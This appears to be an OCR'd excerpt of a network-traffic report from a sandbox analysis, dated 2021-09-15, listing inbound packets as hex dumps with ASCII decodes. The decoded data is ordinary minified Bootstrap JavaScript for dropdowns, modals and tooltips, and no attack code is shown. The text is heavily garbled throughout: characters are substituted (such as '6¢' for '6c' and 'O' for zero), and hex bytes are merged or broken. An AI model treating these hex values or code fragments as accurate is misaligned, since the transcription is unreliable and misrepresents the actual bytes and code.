2f 2e 74 65 73 74 28 65 29 26 26 28 6¢ 2e 74 6f 67 67 6¢ 65

Data Ascii: tFromElement=function(e){var n=P.getSelectorFromElement(e);return n?t(n)[0]:null},i._jQueryInterface=functio
n(e){return this.each(function(){var s=t(this),o=s.data(n),|=r({},a,s.data(), "object"==typeof e&&e);if(!0&&I.toggle&&/sh
owlhide/.test(e)&&(l.toggle
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Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 75 IN Data Raw: 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 6e 6f 74 28 2e 64 69
73 61 62 6¢ 65 64 29 22 2¢ 41 3d 22 74 6f 70 2d 73 74 61 72 74 22 2c 62 3d 22 74 6f 70 2d 65 6e 64 22 2c 44 3d 22 62 6f
74 74 6f 6d 2d 73 74 61 72 74 22 2¢ 53 3d 22 62 6f 74 74 6f 6d 2d 65 6e 64 22 2¢ 77 3d 22 72 69 67 68 74 2d 73 74 61 72
74 22 2c 4e 3d 22 6¢ 65 66 74 2d 73 74 61 72 74 22 2c 4f 3d 7b 6f 66 66 73 65 74 3a 30 2c 66 6¢ 69 70 3a 21 30 2c 62 6f
75 6e 64 61 72 79 3a 22 73 63 72 6f 6¢ 6¢ 50 61 72 65 6e 74 22 7d 2c 6b 3d 7b 6f 66 66 73 65 74 3a 22 28 6e 75 6d 62 65
72 7c 737472 69 6e 67 7c 66 75 6e 63 74 69 6f 6e 29 22 2¢ 66 6¢ 69 70 3a 22 62 6f 6f 6¢ 65 61 6e 22 2¢ 62 6f 75 6e 64
617279 3a 22 28 73 74 72 69 6e 67 7c 65 6¢ 65 6d 65
Data Ascii: .dropdown-menu .dropdown-item:not(.disabled)",A="top-start",b="top-end",D="bottom-start",S="bottom-
end",w="right-start",N="left-start",0={offset:0,flip:!0,boundary:"scrollParent"},k={offset:"(number|string|function)" flip:"boole
an",boundary:"(string|leleme

2021-09-15 14:28:03 UTC 76 IN Data Raw: 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f
65 6¢ 65 6d 65 6e 74 2c 69 29 2c 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 6f 66 66 28 6f 29 2¢ 74 68 69 73 2e
5f 65 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 6d 65 6e 75 3d 6e 75 6¢ 6¢ 2¢ 6e 75 6¢ 6¢ 21 3d 3d 74 68 69
73 2e 5f 70 6f 70 70 65 72 26 26 28 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2¢c 74 68 69 73 2e
5f 70 6f 70 70 65 72 3d 6e 75 6¢ 6¢ 29 7d 2c 6¢ 2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e
5f 69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 6e 75 6¢ 6¢ 21 3d 3d 74 68
69 73 2e 5f 70 6f 70 70 65 72 26 26 74 68 69 73 2e 5f 70
Data Ascii: spose=function(){t.removeData(this._element,i),t(this._element).off(0),this._element=null,this._menu=null,nu
lll==this._popper&&(this._popper.destroy(),this._popper=null)},|.update=function(){this._inNavbar=this._detectNavbar(),n
ull'==this._popper&&this._p

2021-09-15 14:28:03 UTC 78 IN Data Raw: 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 29 3b 69
66 28 6e 7c 7c 28 6e 3d 6e 65 77 20 61 28 74 68 69 73 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a
6e 75 6¢ 6¢ 29 2c 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 2c 6e 29 29 2¢ 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65
6f 66 20 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 65 5d 29 74 68 72 6f 77 20
6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 65 2b 27 22 27 29
3b 6e 5b 65 5d 28 29 7d 7d 29 7d 2c 61 2e 5f 63 6¢ 65 61 72 4d 65 6e 75 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66
282165 7c 7c 33 21 3d 3d 65 2e 77 68 69 63 68 26 26 28 22
Data Ascii: h(function(){var n=t(this).data(i);if(n||(n=new a(this,"object"==typeof e?e:null),t(this).data(i,n)),"string"==typeof e)
{if("undefined"==typeof n[e])throw new TypeError('No method named "+e+"");n[e]()}})},a._clearMenus=function(e){if(e
||3!==e.which&&("

2021-09-15 14:28:03 UTC 79 IN Data Raw: 64 28 49 29 2e 67 65 74 28 29 3b 69 66 28 30 21 3d 3d 73 2e 6¢ 65 6e 67 74 68 29 7b 76 61 72 20 72 3d 73
2e 69 6e 64 65 78 4f 66 28 65 2e 74 61 72 67 65 74 29 3b 33 38 3d 3d 3d 65 2e 77 68 69 63 68 26 26 72 3e 30 26 26 72
2d 2d 2c 34 30 3d 3d 3d 65 2e 77 68 69 63 68 26 26 72 3c 73 2e 6¢ 65 6e 67 74 68 2d 31 26 26 72 2b 2b 2¢ 72 3¢ 30 26 2
628 72 3d 30 29 2c 73 5b 72 5d 2e 66 6f 63 75 73 28 29 7d 7d 65 6¢ 73 65 7b 69 66 28 32 37 3d 3d 3d 65 2e 77 68 69 63
6829 7b 76 61 72 20 6f 3d 74 28 6e 29 2e 66 69 6e 64 28 45 29 5b 30 5d 3b 74 28 6f 29 2e 74 72 69 67 67 65 72 28 22
66 6f 63 75 73 22 29 7d 74 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 28 22 63 6¢ 69 63 6b 22 29 7d 7d 7d 2c 73 28 61
2c 6e 75 6¢ 6¢ 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2¢ 67 65
Data Ascii: d(1).get();if(0!==s.length){var r=s.indexOf(e.target);38===e.which&&r>0&&r--,40===e.which&&r<s.length-
1&&r++,r<0&&(r=0),s[r].focus()}}else{if(27===e.which){var o=t(n).find(E)[0];t(0).trigger("focus")}t(this).trigger(“click")}}},
s(a,null,[{key:"VERSION",ge

2021-09-15 14:28:03 UTC 80 IN Data Raw: 3d 22 6d 6f 64 61 6¢ 2d 6f 70 65 6e 22 2c 64 3d 22 66 61 64 65 22 2c 5f 3d 22 73 68 6f 77 22 2¢ 67 3d 7b 44
49 41 4Ac 4f 47 3a 22 2e 6d 6f 64 61 6¢ 2d 64 69 61 6¢ 6f 67 22 2C 44 41 54 41 5f 54 4f 47 47 4c 45 3a 27 5b 64 61 74 61
2d 74 6f 67 67 6¢ 65 3d 22 6d 6f 64 61 6¢ 22 5d 27 2¢ 44 41 54 41 5f 44 49 53 4d 49 53 53 3a 27 5b 64 61 74 61 2d 64 69
73 6d 69 73 73 3d 22 6d 6f 64 61 6¢ 22 5d 27 2¢ 46 49 58 45 44 5f 43 4f 4e 54 45 4e 54 3a 22 2e 66 69 78 65 64 2d 74 6f
70 2c 20 2e 66 69 78 65 64 2d 62 6f 74 74 6f 6d 2c 20 2e 69 73 2d 66 69 78 65 64 2c 20 2e 73 74 69 63 6b 79 2d 74 6f 70
22 2c 53 54 49 43 4b 59 5f 43 4f 4e 54 45 4e 54 3a 22 2e 73 74 69 63 6b 79 2d 74 6f 70 22 2¢ 4e 41 56 42 41 52 5f 54 4f
47 47 4c 45 52 3a 22 2e 6e 61 76 62 61 72 2d 74 6f 67 67
Data Ascii: ="modal-open",d="fade",_="show",g={DIALOG:".modal-dialog",DATA_TOGGLE:[data-toggle="modal"],DATA
_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:" fixed-top, .fixed-bottom, .is-fixed, .sticky-top",STICKY_CON
TENT:".sticky-top",NAVBAR_TOGGLER:".navbar-togg

2021-09-15 14:28:03 UTC 82 IN Data Raw: 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 21 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69
6f 6e 69 6e 67 26 26 74 68 69 73 2e 5f 69 73 53 68 6f 77 6e 29 7b 76 61 72 20 69 3d 74 2e 45 76 65 6e 74 28 68 2e 48 49
44 45 29 3b 69 66 28 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 69 29 2c 74 68 69 73
2e 5f 69 73 53 68 6f 77 6e 26 26 21 69 2e 69 73 44 65 66 61 75 6¢ 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 74 68 69 73
2e 5f 69 73 53 68 6f 77 6e 3d 21 31 3b 76 61 72 20 73 3d 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45
6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 68 61 73 43 6¢ 61 73 73 28 64 29 3b 73 26 26 28
74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67
Data Ascii: e.preventDefault(),'this._isTransitioning&&this._isShown){var i=t.Event(h.HIDE);if(t(this._element).trigger(
i),this._isShown&&!i.isDefaultPrevented()){this._isShown=!1;var s=P.supportsTransitionEnd()&&t(this._element).
hasClass(d);s&&(this._isTransitioning

2021-09-15 14:28:03 UTC 83 IN Data Raw: 66 6f 63 75 73 26 26 74 68 69 73 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 28 29 3b 76 61 72 20 73 3d 74 2e
45 76 65 6e 74 28 68 2e 53 48 4f 57 4e 2c 7b 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 65 7d 29 2c 72 3d 66 75 6e 63
74 69 6f 6e 28 29 7b 6e 2e 5f 63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26 6e 2e 5f 65 6¢ 65 6d 65 6e 74 2e 66 6f 63 75 73
28 29 2c 6e 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 28 6e 2e 5f 65 6¢ 65 6d 65 6 74 29 2e 74
726967 67 65 72 28 73 29 7d 3b 69 3f 74 28 74 68 69 73 2e 5f 64 69 61 6¢ 6f 67 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53
49 54 49 4f 4e 5f 45 4e 44 2¢ 72 29 2e 65 6d 75 6¢ 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 33 30 30 29 3a 72
2829 7d 2c 70 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 3d
Data Ascii: focus&&this._enforceFocus();var s=t.Event(h.SHOWN f{relatedTarget:e}),r=function(){n._config.focus&
&n._element.focus(),n._isTransitioning=!1,t(n._element).trigger(s)};i?t(this._dialog).one(P.TRANSITION_END,r).
emulateTransitionEnd(300):r()},p._enforceFocus=

2021-09-15 14:28:03 UTC 84 IN Data Raw: 28 22 64 69 76 22 29 2c 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 2e 63 6¢ 61 73 73 4e 61 6d 65 3d 75 2c 69
26 26 74 28 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 29 2e 61 64 64 43 6¢ 61 73 73 28 69 29 2c 74 28 74 68 69 73 2e 5f
62 61 63 6b 64 72 6f 70 29 2e 61 70 70 65 6e 64 54 6f 28 64 6f 63 75 6d 65 6€ 74 2e 62 6f 64 79 29 2¢ 74 28 74 68 69 73
2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 6f 6e 28 68 2e 43 4c 49 43 4b 5f 44 49 53 4d 49 53 53 2¢ 66 75 6e 63 74 69 6f 6e 28 74
29 7b 6e 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6¢ 69 63 6b 3f 6e 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72
6f 70 43 6¢ 69 63 6b 3d 21 31 3a 74 2e 74 61 72 67 65 74 3d 3d 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 26 26
28227374 61 74 69 63 22 3d 3d 3d 6e 2e 5f 63 6f 6e 66 69
Data Ascii: ("div"),this._backdrop.className=u,i&&t(this._backdrop).addClass(i),t(this._backdrop).appendTo(doc
ument.body),t(this._element).on(h.CLICK_DISMISS,function(t){n._ignoreBackdropClick?n._ignoreBackdropClick=!1:t
.target===t.currentTarget&&("static"===n._confi
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 86 IN Data Raw: 6f 6e 28 6e 2¢ 69 29 7b 76 61 72 20 73 3d 74 28 69 29 5b 30 5d 2e 73 74 79 6¢ 65 2e 70 61 64 64 69 6e 67 52
69 67 68 74 2c 72 3d 74 28 69 29 2e 63 73 73 28 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 29 3b 74 28 69 29 2e 64
61 74 61 28 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 2¢ 73 29 2e 63 73 73 28 22 70 61 64 64 69 6e 67 2d 72 69 67
68 74 22 2¢ 70 61 72 73 65 46 6¢ 6f 61 74 28 72 29 2b 65 2e 5f 73 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 2b 22 70 78 22
29 7d 29 2c 74 28 67 2e 53 54 49 43 4b 59 5f 43 4Af 4e 54 45 4e 54 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 2¢
69 29 7b 76 61 72 20 73 3d 74 28 69 29 5b 30 5d 2e 73 74 79 6¢ 65 2e 6d 61 72 67 69 6e 52 69 67 68 74 2c 72 3d 74 28 6
929 2e 63737328226d617267 69 6e2d 7269 6768742229
Data Ascii: on(n,i){var s=t(i)[0].style.paddingRight,r=t(i).css("padding-right");t(i).data("padding-right",s).css("padding-right",
parseFloat(r)+e._scrollbarWidth+"px")}),t(g.STICKY_CONTENT).each(function(n,i){var s=t(i)[0].style.marginRight,r=t(i).cs
s("margin-right")

2021-09-15 14:28:03 UTC 87 IN Data Raw: 74 29 2c 65 7d 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2¢
6929 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6 28 29 7b 76 61 72 20 73 3d 74 28
74 6869 73 29 2e 64 61 74 61 28 6e 29 2c 61 3d 72 28 7b 7d 2c 6f 2e 44 65 66 61 75 6¢ 74 2¢c 74 28 74 68 69 73 29 2e
64 61 74 61 28 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 29 3b 69 66 28 73 7c 7c 28 73 3d 6e
65 77 20 6f 28 74 68 69 73 2c 61 29 2c 74 28 74 68 69 73 29 2e 64 61 74 61 28 6e 2¢c 73 29 29 2¢c 22 73 74 72 69 6e 67 2
23d 3d 74 79 70 65 6f 66 20 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 73 5b 65 5d
29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27
Data Ascii: t),e},0._jQueryInterface=function(e,i){return this.each(function(){var s=t(this).data(n),a=r({},0.Default,t(this).data
(),"object"==typeof e&&e);if(s||(s=new o(this,a),t(this).data(n,s)),"string"==typeof e){if("undefined"==typeof s[e])throw new
TypeError(*

2021-09-15 14:28:03 UTC 88 IN Data Raw: 65 6c 65 6d 65 6e 74 29 22 7d 2c 63 3d 7b 41 55 54 4f 3a 22 61 75 74 6f 22 2c 54 4f 50 3a 22 74 6f 70 22 2c
52 49 47 48 54 3a 22 72 69 67 68 74 22 2c 42 4f 54 54 4f 4d 3a 22 62 6f 74 74 6f 6d 22 2c 4c 45 46 54 3a 22 6¢ 65 66 74
227d 2c 75 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 74 65 6d 70 6¢ 61 74 65 3a 27 3¢ 64 69 76 20 63 6¢ 61 73 73 3d
22 74 6f 6f 6¢ 74 69 70 22 20 72 6f 6¢ 65 3d 22 74 6f 6f 6¢ 74 69 70 22 3e 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 61 72 72 6f
77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 74 6f 6f 6¢ 74 69 70 2d 69 6e 6e 65 72 22 3e 3c 2f 64 69
76 3e 3c 2f 64 69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20 66 6f 63 75 73 22 2¢ 74 69 74 6¢ 65 3a 22 22
2c 64 65 6¢ 61 79 3a 30 2c 68 74 6d 6¢ 3a 21 31 2¢ 73
Data Ascii: element)"},c={AUTO:"auto", TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"},u={animation:!0,tem
plate:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'trigger:"hover
focus" title:"",delay:0,html:!1,s

2021-09-15 14:28:03 UTC 89 IN Data Raw: 34 33 34 66 0d Oa 65 67 61 74 65 43 6f 6e 66 69 67 28 29 29 2c 74 28 65 2e 63 75 72 72 65 6e 74 54 61 72 67
65 74 29 2e 64 61 74 61 28 6e 2c 69 29 29 2c 69 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 2e 63 6¢ 69 63 6b 3d 21
69 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 2e 63 6¢ 69 63 6b 2¢ 69 2e 5f 69 73 57 69 74 68 41 63 74 69 76 65 54
72 69 67 67 65 72 28 29 3f 69 2e 5f 65 6e 74 65 72 28 6e 75 6¢ 6¢ 2¢ 69 29 3a 69 2e 5f 6¢ 65 61 76 65 28 6e 75 6¢ 6C 2C
69 29 7d 65 6¢ 73 65 7b 69 66 28 74 28 74 68 69 73 2e 67 65 74 54 69 70 45 6¢ 65 6d 65 6e 74 28 29 29 2e 68 61 73 43 6
€ 617373287029 29 7265 747572 6e 20 76 6f 69 64 20 74 68 69 73 2e 5f 6¢ 65 61 76 65 28 6e 75 6¢ 6C 2C 74 68 69
7329 3b 74 68 69 73 2e 5f 65 6e 74 65 72 28 6e 75 6¢ 6C 2C 74 68
Data Ascii: 434fegateConfig()),t(e.currentTarget).data(n,i)),i._activeTrigger.click=!i._activeTrigger.click,i._isWithAct
iveTrigger()?i._enter(null,i):i._leave(null,i)}else{if(t(this.getTipElement()).hasClass(p))return void this._leave(null this);this
._enter(null,th

2021-09-15 14:28:03 UTC 91 IN Data Raw: 68 6d 65 6e 74 28 6¢ 29 3b 74 68 69 73 2e 61 64 64 41 74 74 61 63 68 6d 65 6e 74 43 6¢ 61 73 73 28 68 29 3b
76 61 72 20 63 3d 21 31 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 3f 64 6f 63 75 6d 65 6e
74 2e 62 6f 64 79 3a 74 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 29 3b 74 28 72 29 2e 64 61 74
6128 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 2c 74 68 69 73 29 2c 74 2e 63 6f 6e 74
61 69 6e 73 28 74 68 69 73 2e 65 6¢ 65 6d 65 6e 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74
45 6¢ 65 6d 65 6e 74 2c 74 68 69 73 2e 74 69 70 29 7c 7c 74 28 72 29 2e 61 70 70 65 6e 64 54 6f 28 63 29 2c 74 28 74
68 69 73 2e 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72
Data Ascii: hment(l);this.addAttachmentClass(h);var c=!1===this.config.container?document.body:t(this.config.container);
t(r).data(this.constructor.DATA_KEY,this),t.contains(this.element.ownerDocument.documentElement,this.tip)|[t(r
).appendTo(c),t(this.element).trigger

2021-09-15 14:28:03 UTC 92 IN Data Raw: 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 65 26 26 65 28 29 7d 3b 74 28 74 68 69 73 2e 65 6c 65 6d
65 6e 74 29 2e 74 72 69 67 67 65 72 28 73 29 2c 73 2e 69 73 44 65 66 61 75 6¢ 74 50 72 65 76 65 6e 74 65 64 28 29 7¢
7c 28 74 28 69 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 70 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64
6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 26 26 74 28 22 62 6f 64 79 22 29 2e 63 68 69 6¢ 64
72 65 6e 28 29 2e 6f 66 66 28 22 6d 6f 75 73 65 6f 76 65 72 22 2c 6e 75 6¢ 6¢ 2¢ 74 2e 6e 6f 6f 70 29 2c 74 68 69 73 2e 5f
6163 74 69 76 65 54 72 69 67 67 65 72 5b 79 5d 3d 21 31 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72
5b 54 5d 3d 21 31 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54
Data Ascii: popper.destroy(),e&&e()};t(this.element).trigger(s),s.isDefaultPrevented()||(t(i).removeClass(p),“ontouchstart"in
document.documentElement&&t("body").children().off("mouseover”,null,t.noop),this._activeTrigger[y]='1,this._active
Trigger[T]=!1,this._activeT

2021-09-15 14:28:03 UTC 94 IN Data Raw: 2e 65 6¢ 65 6d 65 6e 74 29 2e 6f 6e 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 43 4¢c 49
43 4b 2c 65 2e 63 6f 6e 66 69 67 2e 73 65 6¢ 65 63 74 6f 72 2¢ 66 75 6€ 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6€ 20
65 2e 74 6f 67 67 6¢ 65 28 74 29 7d 29 3b 65 6¢ 73 65 20 69 66 28 6e 21 3d 3d 43 29 7b 76 61 72 20 69 3d 6e 3d 3d 3d
45 3f 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 4d 4f 55 53 45 45 4e 54 45 52 3a 65 2e 63 6f 6e 73 74
727563 74 6f 72 2e 45 76 65 6e 74 2e 46 4f 43 55 53 49 4e 2c 73 3d 6e 3d 3d 3d 45 3f 65 2e 63 6f 6e 73 74 72 75 63 74
6f 72 2e 45 76 65 6e 74 2e 4d 4f 55 53 45 4c 45 41 56 45 3a 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e
46 4f 43 55 53 4f 55 54 3b 74 28 65 2e 65 6¢ 65 6d 65 6e 74
Data Ascii: .element).on(e.constructor.Event.CLICK,e.config.selector,function(t){return e.toggle(t)});else if(n!==C){var
i=n===E?e.constructor.Event. MOUSEENTER:e.constructor.Event. FOCUSIN,s=n===E?e.constructor.Event. MOUS
ELEAVE:e.constructor.Event. FOCUSOUT;t(e.element

2021-09-15 14:28:03 UTC 95 IN Data Raw: 74 29 2e 64 61 74 61 28 69 29 29 7c 7c 28 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72
2865 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2c 74 68 69 73 2e 5f 67 65 74 44 65 6¢ 65 67 61 74 65 43 6f 6e 66 69 67
282929 2c 74 28 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 69 2c 6e 29 29 2c 65 26 26 28 6e
2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 65 2e 74 79 70 65 3f 54 3a 45 5d
3d 21 31 29 2c 6e 2e 5f 69 73 57 69 74 68 41 63 74 69 76 65 54 72 69 67 67 65 72 28 29 7c 7c 28 63 6¢ 65 61 72 54 69
6d 65 6f 75 74 28 6e 2e 5f 74 69 6d 65 6f 75 74 29 2c 6e 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 64 2c 6e 2e 63 6f 6e 66
69 67 2e 64 65 6¢ 61 79 26 26 6e 2e 63 6f 6e 66 69 67 2e 64 65
Data Ascii: t).data(i))||(n=new this.constructor(e.currentTarget,this._getDelegateConfig()),t(e.currentTarget).data(i,n)),e&&
(n._activeTrigger["focusout'===e.type?T:E]=!1),n._isWithActiveTrigger()||(clearTimeout(n._timeout),n._hoverState=d,
n.config.delay&&n.config.de
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 96 IN Data Raw: 3d 21 31 2c 74 68 69 73 2e 68 69 64 65 28 29 2c 74 68 69 73 2e 73 68 6f 77 28 29 2c 74 68 69 73 2e 63 6f 6e
66 69 67 2e 61 6e 69 6d 61 74 69 6f 6e 3d 6e 29 7d 2c 61 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75
6e 63 74 69 6f 6e 28 65 29 7h 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76
61 72 20 6e 3d 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 29 2c 73 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20
65 26 26 65 3b 69 66 28 28 6e 7c 7c 21 2f 64 69 73 70 6f 73 65 7c 68 69 64 65 2f 2e 74 65 73 74 28 65 29 29 26 26 28 6e
7c 7c 28 6e 3d 6e 65 77 20 61 28 74 68 69 73 2¢ 73 29 2¢c 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 2c 6e 29 29 2c 22 7
3747269 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 69 66
Data Ascii: =!1,this.hide(),this.show(),this.config.animation=n)},a._jQueryInterface=function(e){return this.each(function()
{var n=t(this).data(i),s="object"==typeof e&&e;if((n||!//dispose|hide/.test(e))&&(n||(n=new a(this,s),t(this).data(i,n)),"strin
g"==typeof e)){if

2021-09-15 14:28:03 UTC 98 IN Data Raw: 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6¢ 65 61 76 65 22 2b 69 7d
2c 67 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6f 2c 67 3b 66 75 6e 63 74 69 6f 6e 20 70 28 29 7b 72 65 74 75
72 6e 2072 2e 61 70 70 6¢ 79 28 74 68 69 73 2¢ 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 67 3d 72 2c 28 6f
3d 70 29 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 67 2e 70 72 6f 74 6f 74 79 70 65 29
2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 2c 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 67 3b 76
61 72 20 6d 3d 70 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6d 2e 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 3d
66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20
Data Ascii: eenter"+i, MOUSELEAVE:"mouseleave"+i},g=function(r){var o,g;function p(){return r.apply(this,arguments)||this
}g=r,(0=p).prototype=0bject.create(g.prototype),o.prototype.constructor=0,0.__proto__=g;var m=p.prototype;return m.isWit
hContent=function(){return

2021-09-15 14:28:03 UTC 99 IN Data Raw: 59 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 2c 7b 6b 65 79 3a 22 45
76 65 6e 74 22 2¢c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 7d 2c 7b 6b 65 79 3a 22 45 56
45 4e 54 5f 4b 45 59 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 2c 7b 6b 65 79 3a
22 44 65 66 61 75 6¢ 74 54 79 70 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 7d
5d 29 2c 70 7d 28 55 29 3b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 67 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66
61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 67 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66
6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72
Data Ascii: Y",get:function(){return n}},{key:"Event",get:function(){return _}},{key:"EVENT_KEY" get:function(){return i},
{key:"DefaultType",get:function(){return h}}]),p}(U);return t.fn[e]=g._jQueryInterface,t.fn[e].Constructor=g,t.fn[e].noConflict
=function(){retur

